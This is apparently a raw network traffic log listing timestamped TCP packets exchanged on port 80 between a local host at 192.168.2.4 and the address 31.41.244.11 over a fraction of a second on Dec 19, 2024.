Dec 19, 2024 14:10:41.182696104 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.182745934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.183788061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.183851004 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.303797960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.303888083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.303893089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.303940058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.304441929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.304492950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.304548979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.304598093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.305682898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.305732012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.306092024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.306142092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.306143999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.306190014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.307279110 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.307324886 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.307390928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.307440996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.308631897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.308680058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.308806896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.308852911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.309763908 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.309809923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.309926987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.309974909 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.311113119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.311163902 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.311264992 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.311319113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.312431097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.312482119 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.312494993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.312542915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.313572884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.313589096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.313621044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.313651085 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.314604044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.314656019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.314661026 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.314708948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.315582991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.315639973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.315753937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.315804005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.316842079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.316893101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.316900969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.316947937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.318053961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.318106890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.318150997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.318202019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.319173098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.319226980 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.319339991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.319391966 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.320322037 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.320363045 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.320377111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.320410967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.321556091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.321609974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.321630955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.321682930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.322772980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.322849989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.322907925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.322961092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.324270010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.324314117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.324321985 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.324362993 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.325261116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.325314045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.325330973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.325381041 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.326338053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.326390982 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.326426983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.326478004 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.327553034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.327604055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.328526020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.328577995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.328881025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.328933001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.328984976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.329034090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.329955101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.330005884 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.330029964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.330080986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.331140041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.331155062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.331192017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.331211090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.332273960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.332321882 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.332715988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.332766056 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.333467960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.333518982 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.333607912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.333657026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.334640026 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.334690094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.334733963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.334783077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.335813046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.335869074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.335875034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.335922003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.337013006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.337065935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.337109089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.337157965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.338213921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.338264942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.338308096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.338356972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.339448929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.339499950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.339682102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.339730024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.341097116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.341146946 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.341317892 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.341367006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.342422009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.342468977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.342513084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.342571020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.343730927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.343748093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.343781948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.343807936 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.345073938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.345127106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.345151901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.345200062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.346009970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.346060038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.346126080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.346174955 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.347080946 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.347135067 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.347160101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.347206116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.348133087 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.348189116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.348326921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.348371029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.349239111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.349297047 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.349298000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.349344969 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.350121021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.350174904 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.350217104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.350260973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.351351976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.351376057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.351409912 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.351428986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.352554083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.352569103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.352606058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.352624893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.353749037 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.353804111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.353825092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.353869915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.354933977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.354995012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.355031013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.355082989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.356106997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.356156111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.356271029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.356324911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.357309103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.357368946 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.357449055 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.357501030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.358475924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.358627081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.358694077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.359672070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.359710932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.359724998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.359761000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.360867977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.360915899 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.361015081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.361062050 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.362075090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.362165928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.362220049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.363270998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.363331079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.363389015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.363446951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.364649057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.364696980 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.364728928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.364774942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.365695000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.365741014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.365750074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.365796089 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.497083902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.497281075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.497467995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.497689962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.497747898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.497781038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.497834921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.498788118 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.498842955 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.498855114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.498899937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.499825954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.499878883 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.499998093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.500046968 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.501317024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.501370907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.501410007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.501456022 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.502635956 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.502681971 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.502685070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.502726078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.503804922 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.503885984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.504126072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.504175901 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.505137920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.505187035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.505350113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.505399942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.506418943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.506515980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.506572008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.507561922 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.507610083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.507616997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.507659912 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.508794069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.508805990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.508846045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.509825945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.509876013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.509967089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.510015011 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.510919094 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.511050940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.511097908 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.512166977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.512217045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.512304068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.512353897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.513396978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.513446093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.513467073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.513514996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.514390945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.514444113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.514477968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.514524937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.515688896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.515805960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.515858889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.516813993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.516863108 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.516895056 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.516943932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.517915010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.517963886 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.517995119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.518042088 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.519001007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.519115925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.519172907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.520143986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.520172119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.520200014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.520235062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.521294117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.521452904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.521502018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.522134066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.522183895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.522238016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.522285938 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.523086071 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.523221016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.523267984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.524158001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.524209023 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.524216890 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.524262905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.525165081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.525213957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.525249004 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.525295973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.526573896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.526621103 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.526654959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.526704073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.527694941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.527745008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.527821064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.527869940 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.528903008 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.528951883 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.528981924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.529027939 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.529943943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.529993057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.530030012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.530076981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.531163931 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.531178951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.531229973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.532686949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.532737017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.532814980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.532864094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.533936024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.533981085 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.534030914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.534102917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.535191059 CET	80	49837	31.41.244.11	192.168.2.4
